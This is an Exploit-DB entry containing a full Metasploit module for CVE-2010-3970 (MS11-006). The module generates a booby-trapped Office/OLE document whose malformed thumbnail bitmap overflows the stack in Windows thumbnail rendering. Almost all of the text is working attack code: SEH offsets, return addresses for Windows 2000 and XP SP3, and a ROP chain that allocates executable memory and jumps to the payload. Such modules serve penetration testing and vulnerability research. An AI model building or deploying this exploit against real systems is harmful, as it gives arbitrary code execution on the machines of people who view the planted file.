标题: Microsoft Windows - CreateSizedDIBSECTION Stack Buffer Overflow (MS11-006) (Metasploit) EDB-ID: 16660 CVE: 2010-3970 类型: LOCAL 平台: WINDOWS 发布日期: 2011-02-08 漏洞利用脚本: ##
# $Id: ms11_006_createsizeddibsection.rb 11730 2011-02-08 23:31:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in the handling of thumbnails
    within .MIC files and various Office documents. When processing a thumbnail bitmap
    containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This
    leads to arbitrary code execution.

    In order to trigger the vulnerable code, the folder containing the document must be
    viewed using the "Thumbnails" view.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Moti & Xu Hao',  # original discovery
     'Yaniv Miron aka Lament of ilhack',
     'jduck'           # Metasploit module
    ],
   'Version'        => '$Revision: 11730 $',
   'References'     =>
    [
     [ 'CVE', '2010-3970' ],
     [ 'OSVDB', '70263' ],
     [ 'MSB', 'MS11-006' ],
     [ 'BID', '45662' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2490606.mspx' ],
     [ 'URL', 'http://www.powerofcommunity.net/schedule.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space'         => 512,
     'BadChars'      => "\x00",
     'DisableNops'   => true # no need
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # This automatic target will combine all targets into one file :)
     [ 'Automatic', { } ],

     # Windows 2000 is a soft target... You're not still using it are you?
     [ 'Windows 2000 SP0/SP4 English',
      {
       'Offset' => 1548,   # Offset to SEH frame
       'Ret' => 0x75022ac4 # p/p/r ws2help.dll v5.0.2134.1
      }
     ],

     # My test machine didn't have l3codeca.acm loaded (as mentioned in their slides)
     # However, it did have msacm32.drv
     [ 'Windows XP SP3 English',
      {
       'Offset' => 1560,    # Offset to SEH frame
       # Address from msacm32.drv v5.1.2600.0
       'Ret' => 0x72d11676,  # push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]

       # This ends up becoming eip due to above SafeSEH bypass
       'PivotOffset' => 1652,
       'RopStart' => 592
      }
     ],

=begin
     [ 'Windows Server 2003 SP2',
      {
       'Offset' => 1576,    # Offset to SEH frame
       'Ret' => 0xfeedfed5

       # rop is possible with l3codeca.acm, but its not clear how to force it to be loaded.
       # Also, it changed in Feburary 2010 ...
      }
     ],
=end

     # crash on a deref path to heaven.
     [ 'Crash Target for Debugging',
      {
       'Offset' => 1337,
       'Ret' => 0xdac0ffee
      }
     ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Dec 15 2010'))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.doc']),
   ], self.class)
 end

 def exploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  out = ::File.expand_path(::File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
  stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
  if (not stg)
   raise RuntimeError, 'Unable to create output file'
  end

  stm = stg.create_stream("\x05SummaryInformation")
  if (not stm)
   raise RuntimeError, 'Unable to create SummaryInformation stream'
  end
  stm << generate_summaryinfo()
  stm.close

  stg.close

  print_status("Generated output file #{out}")

 end

 def generate_summaryinfo
  si = Rex::OLE::PropertySetStream.new

  ps = Rex::OLE::PropertySet.new(Rex::OLE::FMTID_SummaryInformation)

  bihdr = [
   0x08,  # ??
   0x28,  # biSize (struct size)
   0x50,  # biWidth
   0x58,  # biHeight
   0x01,  # biPlanes
   0x08,  # biBitCount
   0x00,  # biCompression
   0xa8c0,  # biSizeImage
   0x00,  # biXPelsPerMeter
   0x00,  # biYPelsPerMeter
   # biClrUsed
   0x80000001,
   0x00   # biClrImportant
  ].pack('VVVVvvVVVVVV')

  # ClipboardData
  data = rand_text(8192)
  data[0, bihdr.length] = bihdr
  data[48, payload.encoded.length] = payload.encoded

  if target.name == "Automatic"
   targets.each { |t|
    next if t.name !~ /Windows/i

    add_target(data, t)
   }
  else
   add_target(data, target)
  end

  prop = Rex::OLE::Property.new(Rex::OLE::PIDSI_THUMBNAIL, Rex::OLE::VT_CF, data)
  ps << prop
  si << ps

  si.pack
 end

 def add_target(data, targ)
  if targ['PivotOffset'] and targ['RopStart']
   data[targ['Offset'] + 4, 4] = [targ.ret].pack('V')

   rvas = rvas_explorer_xpsp3()
   rop = generate_rop(rvas)

   pivot = rva2addr(rvas, 'add ebp, [edx+6] / pop eax / leave / ret 4')
   data[targ['PivotOffset'], 4] = [pivot].pack('V')

   data[targ['RopStart'], rop.length] = rop
  else
   seh = generate_seh_record(targ.ret)
   distance = targ['Offset'] + seh.length
   distance -= 48  # the entire source buffer isn't copied
   seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

   data[targ['Offset'], seh.length] = seh
  end
 end

 def rvas_explorer_xpsp3()
  # explorer.exe version v6.0.2900.5512
  # Just return this hash
  {
   'add ebp, [edx+6] / pop eax / leave / ret 4' => 0x2be9c,
   'ret'                    => 0x3ebd,

   'int3 / ... / ret'       => 0x1922f,

   'mov eax, esi / pop edi / pop esi / ret' => 0x2648,
   'pop ebp / ret'          => 0x3ebc,
   'add eax, ebp / ret'     => 0x13124,
   'mov eax, [eax] / ret'   => 0x74b7,

   'pop ebx / ret'          => 0x4bd5,
   'push eax / call ebx'    => 0xedc7,
   'pop edi / pop esi / ret' => 0x23bb,

   'pop ecx / ret'          => 0x1acd9,
   'call [ecx] / pop ebp / ret 0x10' => 0x2ad52,

   'pop edi / ret'          => 0x319bc,

   'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret' => 0x88c4,

   'mov [eax], ecx / pop ebp / ret 4' => 0xa747,
   'jmp eax'                => 0x2080
  }
 end

 def generate_rop(rvas)
  # ROP fun! (XP SP3 English, Dec 29 2010)
  rvas.merge!({
   # Instructions / Name    => RVA
   'BaseAddress'            => 0x01000000,
   'imp_VirtualAlloc'       => 0x11e8,
   'Scratch'                => 0x46060
  })

  rop_stack = [
   'ret',
   :unused,  # from pivot

   # First, get the address of our source buffer in relation to the
   # SEH record pointer now saved in ESI
   'mov eax, esi / pop edi / pop esi / ret',
   :unused,
   :unused,

   'pop ebp / ret',
   0xfffffa18,
   'add eax, ebp / ret',

   'pop ebx / ret',
   'pop edi / pop esi / ret',
   'push eax / call ebx',

   # Allocate an RWX memory segment
   'pop ecx / ret',
   'imp_VirtualAlloc',

   'call [ecx] / pop ebp / ret 0x10',
   0,         # lpAddress
   0x1000,    # dwSize
   0x3000,    # flAllocationType
   0x40,      # flProt
   :unused,

   # Copy the original payload
   'pop ecx / ret',
   :unused,
   :unused,
   :unused,
   :unused,
   0x80,      # dwords to copy

   'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret',
   :unused,
   :unused,

   # Add a jump over the space/crap
   'pop ecx / ret',
   0x90901aeb,

   'mov [eax], ecx / pop ebp / ret 4',
   :unused,

   'jmp eax'
  ]

  rop_stack.map! { |e|
   if e.kind_of? String
    # Meta-replace (RVA)
    raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
    rvas['BaseAddress'] + rvas[e]

   elsif e == :unused
    # Randomize
    rand_text(4).unpack('V').first

   else
    # Literal
    e
   end
  }

  rop_stack.pack('V*')
 end

 def rva2addr(rvas, key)
  raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
  rvas['BaseAddress'] + rvas[key]
 end

end URL: https://www.exploit-db.com/exploits/16660